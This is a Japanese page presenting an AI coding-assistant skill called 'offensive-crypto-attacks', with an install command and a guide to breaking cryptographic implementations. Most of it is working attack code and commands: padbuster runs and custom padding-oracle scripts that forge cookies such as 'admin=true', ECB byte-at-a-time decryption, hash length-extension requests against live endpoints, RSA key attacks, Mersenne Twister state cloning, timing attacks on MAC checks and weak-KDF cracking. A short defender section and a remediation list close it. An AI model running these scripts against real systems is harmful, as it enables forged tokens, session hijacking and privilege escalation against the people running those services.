offensive-crypto-attacks について
認可されたセキュリティテスト向けに、暗号実装の欠陥を調べるスキルです。攻撃手順やツールに加え、検知の手掛かりと修正策を扱います。
主な機能
- 01パディングオラクルと ECB 攻撃
- 02ハッシュ長拡張の分析
- 03RSA の弱点評価
- 04PRNG とタイミング攻撃
- 05AES-GCM nonce 再利用の分析
- 06防御側の兆候と修正策
活用シーン
- 01暗号化 Cookie やトークンの評価
- 02MAC と RSA 実装のテスト
- 03セッショントークン生成の検証
- 04発見事項と緩和策の記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-crypto-attacksインストール後、Claude Code で/offensive-crypto-attacksを入力して読み込まれたか確認します。
詳細
暗号実装への攻撃
対象アプリケーションに対して、攻撃者の視点で暗号解析を行います。このスキルでは、暗号の基礎となる数学的プリミティブを破るのではなく、開発者による誤用を狙って、脆弱な暗号実装を特定して悪用します。暗号化されたデータ、署名付きトークン、ハッシュ値はすべて、攻撃対象となる可能性があるものとして扱います。
クイックワークフロー
- 暗号処理が関わる箇所を特定します。Cookie、トークン、API パラメーター、保存された認証情報、署名付き URL などが対象です。
- アルゴリズムとモードを特定します。暗号文の長さの変化を測定し、ブロック境界へのアラインメントを検出して、Base64 や 16 進数エンコーディングの層を確認します。
- 脆弱性の種類を分類します。パディングオラクル、ECB の決定性、弱い MAC 構成、RSA パラメーターの弱さ、PRNG の予測可能性などが対象です。
- 適切なツールまたはカスタムスクリプトを選択して設定します。
- 攻撃を実行し、対象の値を復号または偽造します。
- 暗号上の弱点、その根本原因、修正方法を記録します。
パディングオラクル攻撃
パディングオラクル攻撃は、CBC モードで復号した平文の PKCS7 パディングが有効かどうかを漏らすシステムを悪用します。有効か無効かという 1 ビットの情報だけで、鍵を知らなくても任意の暗号文ブロックを復号したり、任意の平文を偽造したりできます。
変更を加えた暗号文を送信して、応答の違いを観察し、オラクルを特定します。オラクルは、異なる HTTP ステータスコード、異なるエラーメッセージ、タイミングの差、アプリケーションロジックの挙動の変化として現れることがあります。
Web アプリケーションに対する自動化された攻撃には、padbuster を使用します。
# Decrypt an encrypted cookie value
# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
-cookies "session=EncryptedValue" \
-encoding 0 \
-error "invalid"
# Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
-cookies "session=EncryptedValue" \
-encoding 0 \
-error "invalid" \
-plaintext "admin=true;user=attacker"
padbuster で対象のエンコーディングや通信方式に対応できない場合は、カスタムのパディングオラクル攻撃を作成します。
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct
def oracle(iv, ciphertext, url):
"""Return True if the server accepts the padding."""
payload = (iv + ciphertext).hex()
resp = requests.get(url, params={"data": payload})
return resp.status_code != 500 # Adapt to your oracle signal
def decrypt_block(prev_block, cipher_block, url, block_size=16):
"""Decrypt a single block via Vaudenay's attack."""
intermediate = bytearray(block_size)
plaintext = bytearray(block_size)
for byte_pos in range(block_size - 1, -1, -1):
pad_val = block_size - byte_pos
crafted_iv = bytearray(block_size)
# Set already-recovered bytes to produce correct padding
for k in range(byte_pos + 1, block_size):
crafted_iv[k] = intermediate[k] ^ pad_val
for guess in range(256):
crafted_iv[byte_pos] = guess
if oracle(bytes(crafted_iv), cipher_block, url):
# Handle the ambiguity on the last byte
if byte_pos == block_size - 1:
crafted_iv[byte_pos - 1] ^= 1
if not oracle(bytes(crafted_iv), cipher_block, url):
continue
intermediate[byte_pos] = guess ^ pad_val
plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
break
return bytes(plaintext)
ECB ブロック操作
ECB モードでは、各ブロックが同じ鍵で個別に暗号化されるため、同じ平文ブロックからは同じ暗号文ブロックが生成されます。この決定性により、主に 2 種類の攻撃が可能になります。ブロックの切り貼りと、1 バイトずつの復号です。
繰り返しの平文を暗号化し、暗号文ブロックの繰り返しを確認して ECB モードを検出します。
def detect_ecb(ciphertext, block_size=16):
"""Detect ECB mode by finding duplicate blocks."""
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
return len(blocks) != len(set(blocks))
# Probe an encryption oracle for ECB
# Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB
probe = b"A" * (block_size * 3)
ciphertext = encryption_oracle(probe)
if detect_ecb(ciphertext):
print("ECB mode confirmed")
暗号化の前にシークレットを追加するオラクルに対して、1 バイトずつ復号します。
def byte_at_a_time_ecb(oracle_func, block_size=16):
"""Recover secret appended by an ECB encryption oracle."""
recovered = b""
# Determine the total secret length
baseline_len = len(oracle_func(b""))
for i in range(baseline_len):
block_index = (len(recovered)) // block_size
# Craft input so the target byte is the last byte of a block
pad_len = block_size - 1 - (len(recovered) % block_size)
padding = b"A" * pad_len
# Get the target block
target_ct = oracle_func(padding)
target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]
# Brute-force the unknown byte
for byte_val in range(256):
test_input = padding + recovered + bytes([byte_val])
test_ct = oracle_func(test_input)
test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]
if test_block == target_block:
recovered += bytes([byte_val])
break
return recovered
ECB の切り貼り攻撃では、暗号文ブロックを並べ替えて、攻撃者が制御する内容を含む有効な平文を生成します。構造化データ(JSON、key=value 形式のペア、シリアライズされたオブジェクト)が ECB で暗号化され、攻撃者が入力の一部を制御できるシステムを狙います。
ハッシュ長拡張攻撃
アプリケーションが Merkle-Damgard ハッシュ(MD5、SHA1、SHA256)を使って H(secret || message) として MAC を計算している場合、シークレットを知らなくても、メッセージにデータを追加して有効な MAC を計算できます。必要なのは元の MAC、メッセージ、シークレットの長さ(または総当たりする範囲)だけです。
hashpump を使って、拡張したメッセージを偽造します。
# hashpumpy Python bindings
pip install hashpumpy
# Forge an extended hash
# Original signature, original data, data to append, key length
hashpump -s "original_mac_hex" \
-d "original_data" \
-a "&admin=true" \
-k 16
import hashpumpy
import requests
original_mac = "a1b2c3d4e5f6..."
original_data = "user=guest&expire=2025"
append_data = "&admin=true"
# Try key lengths from 8 to 32
for key_len in range(8, 33):
new_mac, new_data = hashpumpy.hashpump(
original_mac, original_data, append_data, key_len
)
# Submit the forged request
resp = requests.get(
f"http://target.com/api?data={new_data.hex()}&mac={new_mac}"
)
if resp.status_code == 200 and "admin" in resp.text:
print(f"Key length: {key_len}")
print(f"Forged MAC: {new_mac}")
break
HMAC 構成(H(key XOR opad || H(key XOR ipad || message)))は長さ拡張攻撃に対して脆弱ではありません。HMAC が使用されていると判明した場合は、ほかの攻撃ベクトルに切り替えてください。
RSA 攻撃
RSA 実装には、予測可能な形で破綻するものがあります。パディング方式を攻撃する前に、数学的なパラメーターを狙います。
自動化された RSA 解析には RsaCtfTool を使用します。
# Attack a public key directly
RsaCtfTool --publickey pubkey.pem --private
# Decrypt a ciphertext with a known weak key
RsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin
# Attack multiple keys for common factor (shared prime)
RsaCtfTool --publickey "key1.pem,key2.pem" --private
# Specific attack selection
RsaCtfTool --publickey pubkey.pem --attack wiener
RsaCtfTool --publickey pubkey.pem --attack smallq
RsaCtfTool --publickey pubkey.pem --attack fermat
平文が m^e < n となるほど短い場合は、小さな公開指数(e=3)を悪用します。
from Crypto.PublicKey import RSA
from gmpy2 import iroot
def small_exponent_attack(ciphertext_int, e, n):
"""When m^e < n, the ciphertext is simply m^e with no modular reduction."""
plaintext_int, is_perfect = iroot(ciphertext_int, e)
if is_perfect:
return int(plaintext_int).to_bytes(
(int(plaintext_int).bit_length() + 7) // 8, 'big'
)
return None
# Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients
def hastad_broadcast(ciphertexts, moduli, e=3):
"""CRT-based recovery when the same message is sent to e recipients."""
from functools import reduce
N = reduce(lambda a, b: a * b, moduli)
result = 0
for ci, ni in zip(ciphertexts, moduli):
Ni = N // ni
_, mi, _ = gmpy2.gcdext(Ni, ni)
result += ci * Ni * int(mi)
result = result % N
plaintext, _ = iroot(result, e)
return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')
Bleichenbacher 攻撃は、RSA PKCS#1 v1.5 パディングを標的にします。オラクルとなるのは、復号後に有効な PKCS#1 v1.5 パディングと無効なパディングを区別するシステムです。これには、異なるアラートを返す TLS サーバー、異なるエラーコードを返す API、エラー処理におけるタイミングの差などが含まれます。平文を復元するには、約 2^20 回のオラクルクエリが必要です。
Coppersmith 法では、部分情報がわかっている場合に、RSA 平文のうち小さな未知の部分を復元したり、因数分解したりできます。格子計算には SageMath を使用します。
# SageMath: recover high bits of a factor
# If you know the top bits of p, Coppersmith finds the rest
n = <modulus>
p_approx = <known_high_bits_of_p>
P.<x> = PolynomialRing(Zmod(n))
f = p_approx + x
roots = f.small_roots(X=2^64, beta=0.5) # X bounds the unknown portion
if roots:
p = p_approx + int(roots[0])
q = n // p
print(f"p = {p}")
print(f"q = {q}")
弱い PRNG の悪用
タイムスタンプ、PID、エントロピーの低いプールなど、予測可能なソースから乱数生成器のシードを設定するアプリケーションは、予測可能な出力を生成します。
連続する 624 個の 32 ビット出力から MT19937(メルセンヌ・ツイスタ)の内部状態を復元します。
def untemper(y):
"""Reverse the MT19937 tempering transform."""
# Reverse: y ^= y >> 18
y ^= y >> 18
# Reverse: y ^= (y << 15) & 0xEFC60000
y ^= (y << 15) & 0xEFC60000
# Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)
tmp = y
for _ in range(7):
tmp = y ^ ((tmp << 7) & 0x9D2C5680)
y = tmp
# Reverse: y ^= y >> 11 (iterative)
tmp = y
for _ in range(3):
tmp = y ^ (tmp >> 11)
y = tmp
return y
def clone_mt19937(outputs_624):
"""Clone MT19937 state from exactly 624 observed 32-bit outputs."""
import random
mt_state = [untemper(o) for o in outputs_624]
# Reconstruct the state tuple: (3, tuple(624 ints + index), None)
state = (3, tuple(mt_state + [624]), None)
cloned = random.Random()
cloned.setstate(state)
return cloned
# Predict all future outputs
cloned_rng = clone_mt19937(observed_outputs)
next_token = cloned_rng.getrandbits(32)
シードの範囲を絞り込んで、時間をシードに使う PRNG を悪用します。
import random
import time
def brute_force_time_seed(known_output, time_window_start, time_window_end):
"""Recover the seed when random.seed() was called with int(time.time())."""
for seed in range(int(time_window_start), int(time_window_end)):
rng = random.Random(seed)
if rng.getrandbits(32) == known_output:
return seed
return None
タイミングサイドチャネル攻撃
タイミング攻撃は、暗号学的な比較処理におけるデータ依存の実行時間を悪用します。典型的な標的は、MAC、トークン、パスワードのバイト単位の文字列比較です。
import requests
import time
import statistics
def timing_attack_mac(url, known_prefix, charset, samples=20):
"""Recover a MAC byte-by-byte via timing side-channel."""
best_byte = None
best_time = 0
for candidate in charset:
test_mac = known_prefix + candidate + "\x00" * (32 - len(known_prefix) - 1)
times = []
for _ in range(samples):
start = time.perf_counter_ns()
requests.get(url, params={"mac": test_mac})
elapsed = time.perf_counter_ns() - start
times.append(elapsed)
median = statistics.median(times)
if median > best_time:
best_time = median
best_byte = candidate
return known_prefix + best_byte
# Statistical enhancement: use percentile comparison to reduce noise
# Network jitter requires 50-100+ samples per candidate in practice
AES-GCM のノンス再利用
AES-GCM でノンスを再利用すると、壊滅的な結果を招きます。同じキーでノンスを再利用すると、認証キー(GHASH キー H)を復元できるうえ、XOR された平文の復号と認証タグの偽造が可能になります。
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import struct
def exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):
"""
Given two ciphertexts encrypted under the same key and nonce,
recover the GHASH key H and forge tags for arbitrary messages.
XOR of ciphertexts yields XOR of plaintexts.
"""
# Recover plaintext XOR
xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))
# Recover GHASH key H from the tag polynomial relationship
# tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)
# tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)
# tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)
# This yields a polynomial in H over GF(2^128)
# The polynomial root gives H; use SageMath or a GF(2^128) library
# for the actual field arithmetic
print(f"Plaintext XOR: {xor_plaintexts.hex()}")
print("Solve the GHASH polynomial in GF(2^128) to recover H")
return xor_plaintexts
鍵導出の脆弱性
作業係数が不十分な、パスワードベースの鍵導出を標的にします。
import hashlib
import itertools
# Weak KDF: single SHA-256 iteration, no salt
def crack_weak_kdf(target_key_hex, wordlist_path):
"""Crack a key derived via single-pass SHA-256 of a password."""
target = bytes.fromhex(target_key_hex)
with open(wordlist_path, 'r') as f:
for word in f:
word = word.strip()
derived = hashlib.sha256(word.encode()).digest()
if derived == target:
return word
return None
# Detect weak PBKDF2 iteration counts
def check_pbkdf2_strength(iterations, algorithm="sha256"):
"""Flag insufficient PBKDF2 parameters per OWASP 2024 guidance."""
minimums = {
"sha1": 1_300_000,
"sha256": 600_000,
"sha512": 210_000,
}
minimum = minimums.get(algorithm, 600_000)
if iterations < minimum:
print(f"WEAK: {iterations} iterations of PBKDF2-{algorithm}")
print(f"Minimum recommended: {minimum}")
return False
return True
検出/防御側の視点
防御側は、暗号攻撃を示す以下の兆候を監視してください。
- パディングオラクルの探索:同じエンドポイントに対し、暗号文のパラメーターを段階的に変更した大量のリクエストが送られます。数百件に及ぶ連続したリクエストで、1 バイトだけが変化するパターンを探してください。暗号化された入力に対して二値の合否を返すエンドポイントにアラートを設定してください。
- ECB の検出探索:暗号化エンドポイントに送信される、同じ文字が長く連続した文字列(同一バイトが 16 個以上)を含むリクエストです。
- ハッシュ長拡張攻撃:本来は印字可能なテキストであるべき位置に、ヌルバイト(
%00)を含む URL パラメーターや Cookie です。パディングの痕跡がある、想定より長いメッセージ本文も確認してください。 - RSA パラメーターの収集:公開鍵エンドポイントへの繰り返しのリクエスト、証明書のダウンロード、TLS ハンドシェイクの列挙です。
- タイミング攻撃:認証エンドポイントや MAC 検証エンドポイントに対する、高い並行性を伴う通常とは異なるリクエストパターンです。応答時間の分布を統計的に分析し、段階的なパターンがないか確認してください。
- ノンスの再利用:暗号化処理におけるカウンターのリセットやノンスの衝突を監視してください。多層防御として、ノンス誤用耐性のある AEAD モード(AES-GCM-SIV、XChaCha20-Poly1305)を導入してください。
優先して対処すべき事項:CBC から認証付き暗号化(AES-GCM、ChaCha20-Poly1305)へ移行する、H(secret||message) の代わりに HMAC を使う、OAEP パディングを使用する最小 2048 ビットの RSA キーを強制する、暗号学的に安全な RNG(secrets モジュール、/dev/urandom)を使う、すべての秘密値に対して定時間比較を実装する、OWASP が推奨する PBKDF2 の反復回数を強制する、または Argon2id に移行する。
エンゲージメント用チートシート
| 標的 | ツール/手法 | 最初の手順 |
|---|---|---|
| 暗号化された Cookie(CBC) | padbuster | 最後のバイトを変更し、応答の違いを観察する |
| 暗号化されたトークン(ECB) | Custom Python | 繰り返しブロックを送信し、繰り返しを確認する |
| MAC = H(secret+msg) | hashpumpy | Merkle-Damgard ハッシュであることを確認し、拡張を試す |
| RSA 公開鍵 | RsaCtfTool | n と e を抽出し、鍵長と因数を確認する |
| セッショントークン(PRNG) | Custom Python | 624 個以上の出力を収集し、MT の状態を複製する |
| 認証エンドポイント | Timing script | バイト位置ごとの応答時間を測定する |
| AES-GCM 暗号化 API | Custom Python / SageMath | キャプチャしたメッセージ間でノンスの再利用を検出する |
| パスワード由来の鍵 | hashcat / custom script | KDF を特定し、反復回数を確認する |
暗号文の識別に使える経験則:
- 長さが 8 バイトの倍数:DES/3DES の CBC/ECB である可能性があります。
- 長さが 16 バイトの倍数:AES の CBC/ECB である可能性があります。
- 長さが平文 + 16 バイト(タグ):AES-GCM である可能性があります。
- 入力にかかわらず出力の長さが一定:暗号化ではなく、ハッシュである可能性があります。
主要な参考資料
- Vaudenay, S.「CBC Padding によって引き起こされるセキュリティ上の欠陥」EUROCRYPT 2002.
- Bleichenbacher, D.「RSA 暗号化規格 PKCS#1 に基づくプロトコルに対する選択暗号文攻撃」CRYPTO 1998.
- Duong, T. および Rizzo, J.「実践的なパディングオラクル攻撃」USENIX WOOT 2010.
- Coppersmith, D.「多項式方程式の小さな解と、RSA の低指数における脆弱性」Journal of Cryptology, 1997.
- Joux, A.「NIST 版 GCM における認証の失敗」NIST Comment, 2006.
- CWE-327:破損またはリスクの高い暗号アルゴリズムの使用。
- CWE-328:弱いハッシュの使用。
- CWE-330:ランダム性が不十分な値の使用。
- OWASP パスワード保存チートシート(PBKDF2/Argon2id の反復回数に関するガイダンス)。
- RsaCtfTool: https://github.com/RsaCtfTool/RsaCtfTool
- padbuster: https://github.com/AonCyberLabs/PadBuster
- hashpumpy: https://github.com/bwall/HashPump